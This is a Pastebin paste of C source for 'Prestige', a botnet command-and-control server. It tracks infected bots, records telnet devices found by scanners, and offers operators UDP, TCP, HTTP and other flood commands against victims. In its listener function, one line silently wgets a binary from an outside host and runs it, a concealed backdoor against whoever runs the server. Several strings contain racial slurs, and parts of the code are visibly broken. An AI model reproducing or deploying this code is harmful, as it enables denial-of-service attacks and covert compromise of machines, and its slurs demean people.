Advertisement
ZucoCheezy

Prestige-Server

Nov 26th, 2018
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 23.49 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: bl4ck.j3sus
  4. XMPP: b1nary@nigge.rs
  5. Changes:
  6. Made Date: 7-6-16
  7. */
  8. /*
  9.                 *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  10.  
  11. # ___     __________  ____ _______      _____ _______________.___.  ___
  12. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  13. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  14. #           |    |   \ |   /    |    \/    |    \    |   \\____   |
  15. #           |______  / |___\____|__  /\____|__  /____|_  // ______|
  16. #                  \/              \/         \/       \/ \/
  17.  
  18.                         *** PRESTIGE SERVER.C ***
  19. */
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <stdint.h>
  23. #include <inttypes.h>
  24. #include <string.h>
  25. #include <sys/types.h>
  26. #include <sys/socket.h>
  27. #include <netdb.h>
  28. #include <unistd.h>
  29. #include <time.h>
  30. #include <fcntl.h>
  31. #include <sys/epoll.h>
  32. #include <errno.h>
  33. #include <pthread.h>
  34. #include <signal.h>
  35. #include <arpa/inet.h>
  36. #define MAXFDS 1000000
  37. //////////////////////////////////
  38. struct login_info {
  39.     char username[20];
  40.     char password[20];
  41. };
  42. static struct login_info accounts[10];
  43. struct clientdata_t {
  44.         uint32_t ip;
  45.         char connected;
  46. } clients[MAXFDS];
  47. struct telnetdata_t {
  48.         int connected;
  49. } managements[MAXFDS];
  50. struct args {
  51.         int sock;
  52.         struct sockaddr_in cli_addr;
  53. };
  54. static volatile FILE *telFD;
  55. static volatile FILE *fileFD;
  56. static volatile int epollFD = 0;
  57. static volatile int listenFD = 0;
  58. static volatile int OperatorsConnected = 0;
  59. static volatile int TELFound = 0;
  60. static volatile int scannerreport;
  61. //////////////////////////////////
  62. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  63.     int total = 0, got = 1;
  64.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  65.     return got;
  66. }
  67. void trim(char *str) {
  68.     int i;
  69.     int begin = 0;
  70.     int end = strlen(str) - 1;
  71.     while (isspace(str[begin])) begin++;
  72.     while ((end >= begin) && isspace(str[end])) end--;
  73.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  74.     str[i - begin] = '\0';
  75. }
  76. static int make_socket_non_blocking (int sfd) {
  77.     int flags, s;
  78.     flags = fcntl (sfd, F_GETFL, 0);
  79.     if (flags == -1) {
  80.         perror ("fcntl");
  81.         return -1;
  82.     }
  83.     flags |= O_NONBLOCK;
  84.     s = fcntl (sfd, F_SETFL, flags);
  85.     if (s == -1) {
  86.         perror ("fcntl");
  87.         return -1;
  88.     }
  89.     return 0;
  90. }
  91. static int create_and_bind (char *port) {
  92.     struct addrinfo hints;
  93.     struct addrinfo *result, *rp;
  94.     int s, sfd;
  95.     memset (&hints, 0, sizeof (struct addrinfo));
  96.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  97.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  98.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  99.     s = getaddrinfo (NULL, port, &hints, &result);
  100.     if (s != 0) {
  101.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  102.         return -1;
  103.     }
  104.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  105.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  106.         if (sfd == -1) continue;
  107.         int yes = 1;
  108.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  109.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  110.         if (s == 0) {
  111.             break;
  112.         }
  113.         close (sfd);
  114.     }
  115.     if (rp == NULL) {
  116.         fprintf (stderr, "Could not bind\n");
  117.         return -1;
  118.     }
  119.     freeaddrinfo (result);
  120.     return sfd;
  121. }
  122. void broadcast(char *msg, int us, char *sender)
  123. {
  124.         int sendMGM = 1;
  125.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  126.         char *wot = malloc(strlen(msg) + 10);
  127.         memset(wot, 0, strlen(msg) + 10);
  128.         strcpy(wot, msg);
  129.         trim(wot);
  130.         time_t rawtime;
  131.         struct tm * timeinfo;
  132.         time(&rawtime);
  133.         timeinfo = localtime(&rawtime);
  134.         char *timestamp = asctime(timeinfo);
  135.         trim(timestamp);
  136.         int i;
  137.         for(i = 0; i < MAXFDS; i++)
  138.         {
  139.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  140.                 if(sendMGM && managements[i].connected)
  141.                 {
  142.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  143.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  144.                         send(i, ": ", 2, MSG_NOSIGNAL);
  145.                 }
  146.                 printf("sent to fd: %d\n", i);
  147.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  148.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  149.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  150.         }
  151.         free(wot);
  152. }
  153. void *BotEventLoop(void *useless) {
  154.     struct epoll_event event;
  155.     struct epoll_event *events;
  156.     int s;
  157.     events = calloc (MAXFDS, sizeof event);
  158.     while (1) {
  159.         int n, i;
  160.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  161.         for (i = 0; i < n; i++) {
  162.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  163.                 clients[events[i].data.fd].connected = 0;
  164.                 close(events[i].data.fd);
  165.                 continue;
  166.             }
  167.             else if (listenFD == events[i].data.fd) {
  168.                while (1) {
  169.                 struct sockaddr in_addr;
  170.                 socklen_t in_len;
  171.                 int infd, ipIndex;
  172.  
  173.                 in_len = sizeof in_addr;
  174.                 infd = accept (listenFD, &in_addr, &in_len);
  175.                 if (infd == -1) {
  176.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  177.                     else {
  178.                         perror ("accept");
  179.                         break;
  180.                          }
  181.                 }
  182.  
  183.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  184.                 int dup = 0;
  185.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  186.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  187.                     if(clients[ipIndex].ip == clients[infd].ip) {
  188.                         dup = 1;
  189.                         break;
  190.                     }}
  191.                 if(dup) {
  192.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  193.                     close(infd);
  194.                     continue;
  195.                 }
  196.                 s = make_socket_non_blocking (infd);
  197.                 if (s == -1) { close(infd); break; }
  198.                 event.data.fd = infd;
  199.                 event.events = EPOLLIN | EPOLLET;
  200.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  201.                 if (s == -1) {
  202.                     perror ("epoll_ctl");
  203.                     close(infd);
  204.                     break;
  205.                 }
  206.                 clients[infd].connected = 1;
  207.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  208.             }
  209.             continue;
  210.         }
  211.         else {
  212.             int datafd = events[i].data.fd;
  213.             struct clientdata_t *client = &(clients[datafd]);
  214.             int done = 0;
  215.             client->connected = 1;
  216.             while (1) {
  217.                 ssize_t count;
  218.                 char buf[2048];
  219.                 memset(buf, 0, sizeof buf);
  220.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  221.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  222.                     trim(buf);
  223.                     if(strcmp(buf, "PING") == 0) {
  224.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  225.                         continue;
  226.                     }
  227.                     if(strstr(buf, "REPORT ") == buf) {
  228.                         char *line = strstr(buf, "REPORT ") + 7;
  229.                         fprintf(telFD, "%s\n", line);
  230.                         fflush(telFD);
  231.                         TELFound++;
  232.                         continue;
  233.                     }
  234.                     if(strstr(buf, "PROBING") == buf) {
  235.                         char *line = strstr(buf, "PROBING");
  236.                         scannerreport = 1;
  237.                         continue;
  238.                     }
  239.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  240.                         char *line = strstr(buf, "REMOVING PROBE");
  241.                         scannerreport = 0;
  242.                         continue;
  243.                     }
  244.                     if(strcmp(buf, "PONG") == 0) {
  245.                         continue;
  246.                     }
  247.                     printf("buf: \"%s\"\n", buf);
  248.                 }
  249.                 if (count == -1) {
  250.                     if (errno != EAGAIN) {
  251.                         done = 1;
  252.                     }
  253.                     break;
  254.                 }
  255.                 else if (count == 0) {
  256.                     done = 1;
  257.                     break;
  258.                 }
  259.             if (done) {
  260.                 client->connected = 0;
  261.                 close(datafd);
  262. }}}}}}
  263. unsigned int BotsConnected() {
  264.     int i = 0, total = 0;
  265.     for(i = 0; i < MAXFDS; i++) {
  266.         if(!clients[i].connected) continue;
  267.         total++;
  268.     }
  269.     return total;
  270. }
  271. void *TitleWriter(void *sock) {
  272.     int datafd = (int)sock;
  273.     char string[2048];
  274.     while(1) {
  275.         memset(string, 0, 2048);
  276.         sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  277.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  278.         sleep(2);
  279. }}
  280. int Find_Login(char *str) {
  281.     FILE *fp;
  282.     int line_num = 0;
  283.     int find_result = 0, find_line=0;
  284.     char temp[512];
  285.  
  286.     if((fp = fopen("login.txt", "r")) == NULL){
  287.         return(-1);
  288.     }
  289.     while(fgets(temp, 512, fp) != NULL){
  290.         if((strstr(temp, str)) != NULL){
  291.             find_result++;
  292.             find_line = line_num;
  293.         }
  294.         line_num++;
  295.     }
  296.     if(fp)
  297.         fclose(fp);
  298.     if(find_result == 0)return 0;
  299.     return find_line;
  300. }
  301. void *BotWorker(void *sock) {
  302.     int datafd = (int)sock;
  303.     int find_line;
  304.     OperatorsConnected++;
  305.     pthread_t title;
  306.     char buf[2048];
  307.     char* username;
  308.     char* password;
  309.     memset(buf, 0, sizeof buf);
  310.     char botnet[2048];
  311.     memset(botnet, 0, 2048);
  312.  
  313.     FILE *fp;
  314.     int i=0;
  315.     int c;
  316.     fp=fopen("login.txt", "r");
  317.     while(!feof(fp)) {
  318.         c=fgetc(fp);
  319.         ++i;
  320.     }
  321.     int j=0;
  322.     rewind(fp);
  323.     while(j!=i-1) {
  324.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  325.         ++j;
  326.     }
  327.  
  328.         if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  329.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  330.         trim(buf);
  331.         char* nickstring;
  332.         sprintf(accounts[find_line].username, buf);
  333.         nickstring = ("%s", buf);
  334.         find_line = Find_Login(nickstring);
  335.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  336.         if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  337.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  338.         trim(buf);
  339.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  340.         memset(buf, 0, 2048);
  341.         goto Banner;
  342.         }
  343.         failed:
  344.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  345.         char failed_line1[80];
  346.  
  347.         sprintf(failed_line1, "\x1b[31mWRONG ANSWER BITCH!!\r\n");
  348.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  349.         sleep(5);
  350.         goto end;
  351.  
  352.         Banner:
  353.         pthread_create(&title, NULL, &TitleWriter, sock);
  354.         char ascii_banner_line1 [5000];
  355.         char ascii_banner_line2 [5000];
  356.         char ascii_banner_line3 [5000];
  357.         char ascii_banner_line4 [5000];
  358.         char ascii_banner_line5 [5000];
  359.         char ascii_banner_line6 [5000];
  360.         char ascii_banner_line7 [5000];
  361.         char welcome_line [80];
  362.         char banner_bot_count [2048];
  363.         memset(banner_bot_count, 0, 2048);
  364.        
  365.         sprintf(ascii_banner_line1, "\x1b[31m   ▄███████▄    ▄████████    ▄████████    ▄████████     ███      ▄█     ▄██████▄     ▄████████\r\n");
  366.         sprintf(ascii_banner_line1, "\x1b[31m  ███    ███   ███    ███   ███    ███   ███    ███ ▀█████████▄ ███    ███    ███   ███    ███\r\n");
  367.         sprintf(ascii_banner_line1, "\x1b[31m  ███    ███   ███    ███   ███    █▀    ███    █▀     ▀███▀▀██ ███▌   ███    █▀    ███    █▀\r\n");
  368.         sprintf(ascii_banner_line1, "\x1b[31m  ███    ███  ▄███▄▄▄▄██▀  ▄███▄▄▄       ███            ███   ▀ ███▌  ▄███         ▄███▄▄▄\r\n");
  369.         sprintf(ascii_banner_line1, "\x1b[31m▀█████████▀  ▀▀███▀▀▀▀▀   ▀▀███▀▀▀     ▀███████████     ███     ███▌ ▀▀███ ████▄  ▀▀███▀▀▀\r\n");
  370.         sprintf(ascii_banner_line1, "\x1b[31m  ███        ▀███████████   ███    █▄           ███     ███     ███    ███    ███   ███    █▄\r\n");
  371.         sprintf(ascii_banner_line1, "\x1b[31m  ███          ███    ███   ███    ███    ▄█    ███     ███     ███    ███    ███   ███    ███\r\n");
  372.         sprintf(ascii_banner_line1, "\x1b[31m ▄████▀        ███    ███   ██████████  ▄████████▀     ▄████▀   █▀     ████████▀    ██████████\r\n");
  373.         sprintf(ascii_banner_line1, "\x1b[31m               ███    ███\r\n");
  374.         sprintf(welcome_line,       "\r\n\x1b[34m           [+]\x1b[31mWelcome, %s\x1b[34m[+]\r\n", accounts[find_line].username);
  375.         sprintf(banner_bot_count,   "\x1b[34m             [+]\x1b[31mBOT COUNT: %d\x1b[34m[+]\r\n", BotsConnected(), OperatorsConnected);
  376.        
  377.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  378.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  379.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  380.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  381.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  382.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  383.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  384.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  385.         while(1) {
  386.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  387.         if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  388.         break;
  389.         }
  390.         pthread_create(&title, NULL, &TitleWriter, sock);
  391.         managements[datafd].connected = 1;
  392.  
  393.         while(fdgets(buf, sizeof buf, datafd) > 0)
  394.         {
  395.             if(strstr(buf, "BOTS")) {
  396.                 char botcount [2048];
  397.                 memset(botcount, 0, 2048);
  398.                 sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  399.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  400.                 continue;
  401.             }
  402.             if(strstr(buf, "STATUS")){
  403.                 char statuscount [2048];
  404.                 memset(statuscount, 0, 2048);
  405.                 sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  406.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  407.                 continue;
  408.             }
  409.             if(strstr(buf, "HELP")) {
  410.                 pthread_create(&title, NULL, &TitleWriter, sock);
  411.                 char helpline1  [80];
  412.                 char helpline2  [80];
  413.                 char helpline3  [80];
  414.                 char helpline4  [80];
  415.                 char helpline5  [80];
  416.                 char helpline6  [80];
  417.                 char helpline7  [80];
  418.                 char helpline8  [80];
  419.                 char helpline9  [80];
  420.                 char helpline10 [80];
  421.                 char helpline11 [80];
  422.                 char helpline12 [80];
  423.                 char helpline13 [80];
  424.  
  425.                 sprintf(helpline1,  "\r\n\x1b[31m~[COMMANDS]~\r\n\r\n");
  426.                 sprintf(helpline2,  "\x1b[31m~[UDP]~ \x1b[37m!* UDP Victim Port Time 32 0 10\r\n");
  427.                 sprintf(helpline3,  "\x1b[31m~[TCP]~ \x1b[37m!* TCP Victim Port Time 32 all 0 10\r\n");
  428.                 sprintf(helpline4,  "\x1b[31m~[HTTP]~ \x1b[37m!* HTTP Url Time\r\n");
  429.                 sprintf(helpline5,  "\x1b[31m~[JUNK]~ \x1b[37mJUNK Victim Port Time\r\n");
  430.                 sprintf(helpline6,  "\x1b[31m~[HOLD]~ \x1b[37m!* HOLD Victim Port Time\r\n");
  431.                 sprintf(helpline7,  "\x1b[31m~[KILLS ALL ATTACKS]~ \x1b[37m!* KILLATTK | KILL\r\n");
  432.                 sprintf(helpline8,  "\x1b[31m~[SHELL]~ \x1b[37m!* SH\r\n");
  433.                 sprintf(helpline9,  "\x1b[31m~[BOT COUNT]~ \x1b[37m!* BOTS | BOTS\r\n");
  434.                 sprintf(helpline10, "\x1b[31m~[STATUS]~ \x1b[37m!* STATUS | STATUS\r\n");;
  435.                 sprintf(helpline12, "\x1b[31m~[CLEARSCREEN]~ \x1b[37mCLEAR\r\n");
  436.                 sprintf(helpline13, "\x1b[31m~[LOGOUT]~ \x1b[37mLOGOUT\r\n");
  437.                
  438.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  439.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  440.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  441.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  442.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  443.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  444.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  445.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  446.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  447.                 if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  448.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  449.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  450.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  451.                 pthread_create(&title, NULL, &TitleWriter, sock);
  452.                 continue;
  453.             }
  454.             if(strstr(buf, "UDP")) {
  455.                 char udp_sent_attack_message [2048];
  456.                 memset(udp_sent_attack_message, 0, 2048);
  457.                 sprintf(udp_sent_attack_message, "Attack Sent!\r\n");
  458.                 if(send(datafd, udp_sent_attack_message, strlen(udp_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  459.                 continue;
  460.             }
  461.             if(strstr(buf, "TCP")) {
  462.                 char tcp_sent_attack_message[2048];
  463.                 memset(tcp_sent_attack_message, 0, 2048);
  464.                 sprintf(tcp_sent_attack_message, "Attack Sent!\r\n");
  465.                 if(send(datafd, tcp_sent_attack_message, strlen(tcp_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  466.                 continue;
  467.             }
  468.             if(strstr(buf, "HTTP")) {
  469.                 char http_sent_attack_message[2048];
  470.                 memset(http_sent_attack_message, 0, 2048);
  471.                 sprintf(http_sent_attack_message, "Attack Sent!\r\n");
  472.                 if(send(datafd, http_sent_attack_message, strlen(http_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  473.                 continue;
  474.             }
  475.             if(strstr(buf, "JUNK")) {
  476.                 char junk_sent_attack_message[2048];
  477.                 memset(junk_sent_attack_message, 0, 2048);
  478.                 sprintf(junk_sent_attack_message, "Attack Sent!\r\n");
  479.                 if(send(datafd, junk_sent_attack_message, strlen(junk_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  480.                 continue;
  481.             }
  482.             if(strstr(buf, "HOLD")) {
  483.                 char hold_sent_attack_message[2048];
  484.                 memset(hold_sent_attack_message, 0, 2048);
  485.                 sprintf(hold_sent_attack_message, "Attack Sent!\r\n");
  486.                 if(send(datafd, hold_sent_attack_message, strlen(hold_sent_attack_message), MSG_NOSIGNAL) == -1) goto end;
  487.                 continue;
  488.             }
  489.             if(strstr(buf, "KILL")) {
  490.                 char killattack [2048];
  491.                 memset(killattack, 0, 2048);
  492.                 sprintf(killattack, "!* KILLATTK\r\n");
  493.                 broadcast(buf, datafd, killattack);
  494.                 continue;
  495.             }
  496.             if(strstr(buf, "KILLATTK")) {
  497.                 char killattack_message [2048];
  498.                 memset(killattack_message, 0, 2048);
  499.                 sprintf(killattack_message, "Attack Killed!\r\n");
  500.                 if(send(datafd, killattack_message, strlen(killattack_message), MSG_NOSIGNAL) == -1) goto end;
  501.                 continue;
  502.             }
  503.             if(strstr(buf, "CLEAR")) {
  504.                 char clearscreen [2048];
  505.                 memset(clearscreen, 0, 2048);
  506.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  507.                 if(send(datafd, clearscreen,        strlen(clearscreen),        MSG_NOSIGNAL) == -1) goto end;
  508.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  509.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  510.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  511.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  512.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  513.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  514.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  515.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  516.                 while(1) {
  517.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  518.                 if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  519.                 break;
  520.                 }
  521.                 continue;
  522.             }
  523.             if(strstr(buf, "LOGOUT")) {
  524.                 char logoutmessage [2048];
  525.                 memset(logoutmessage, 0, 2048);
  526.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  527.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  528.                 sleep(5);
  529.                 goto end;
  530.             }
  531.                 trim(buf);
  532.                 if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  533.                 if(strlen(buf) == 0) continue;
  534.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  535.  
  536.                 FILE *LogFile;
  537.                 LogFile = fopen("server.log", "a");
  538.                 time_t now;
  539.                 struct tm *gmt;
  540.                 char formatted_gmt [50];
  541.                 char lcltime[50];
  542.                 now = time(NULL);
  543.                 gmt = gmtime(&now);
  544.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  545.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  546.                 fclose(LogFile);
  547.                 broadcast(buf, datafd, accounts[find_line].username);
  548.                 memset(buf, 0, 2048);
  549.         }
  550.         end:
  551.             managements[datafd].connected = 0;
  552.             close(datafd);
  553.             OperatorsConnected--;
  554. }
  555. void *BotListener(int port) {
  556.     int sockfd, newsockfd;
  557.     socklen_t clilen;
  558.     struct sockaddr_in serv_addr, cli_addr;
  559.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  560.     if (sockfd < 0) perror("ERROR opening socket");
  561.     bzero((char *) &serv_addr, sizeof(serv_addr));
  562.     serv_addr.sin_family = AF_INET;
  563.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  564.     serv_addr.sin_port = htons(port);
  565.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  566.     system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  567.     listen(sockfd,5);
  568.     clilen = sizeof(cli_addr);
  569.     while(1) {
  570.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  571.         if (newsockfd < 0) perror("ERROR on accept");
  572.         pthread_t thread;
  573.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  574. }}
  575. int main (int argc, char *argv[], void *sock)
  576. {
  577.         signal(SIGPIPE, SIG_IGN);
  578.         int s, threads, port;
  579.         struct epoll_event event;
  580.         if (argc != 4) {
  581.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  582.             exit (EXIT_FAILURE);
  583.         }
  584.         port = atoi(argv[3]);
  585.         telFD = fopen("telnet.txt", "a+");
  586.         threads = atoi(argv[2]);
  587.         listenFD = create_and_bind (argv[1]);
  588.         if (listenFD == -1) abort ();
  589.         s = make_socket_non_blocking (listenFD);
  590.         if (s == -1) abort ();
  591.         s = listen (listenFD, SOMAXCONN);
  592.         if (s == -1) {
  593.             perror ("listen");
  594.             abort ();
  595.         }
  596.         epollFD = epoll_create1 (0);
  597.         if (epollFD == -1) {
  598.             perror ("epoll_create");
  599.             abort ();
  600.         }
  601.         event.data.fd = listenFD;
  602.         event.events = EPOLLIN | EPOLLET;
  603.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  604.         if (s == -1) {
  605.             perror ("epoll_ctl");
  606.             abort ();
  607.         }
  608.         pthread_t thread[threads + 2];
  609.         while(threads--) {
  610.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  611.         }
  612.         pthread_create(&thread[0], NULL, &BotListener, port);
  613.         while(1) {
  614.             broadcast("PING", -1, "NIGGER");
  615.             sleep(60);
  616.         }
  617.         close (listenFD);
  618.         return EXIT_SUCCESS;
  619. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement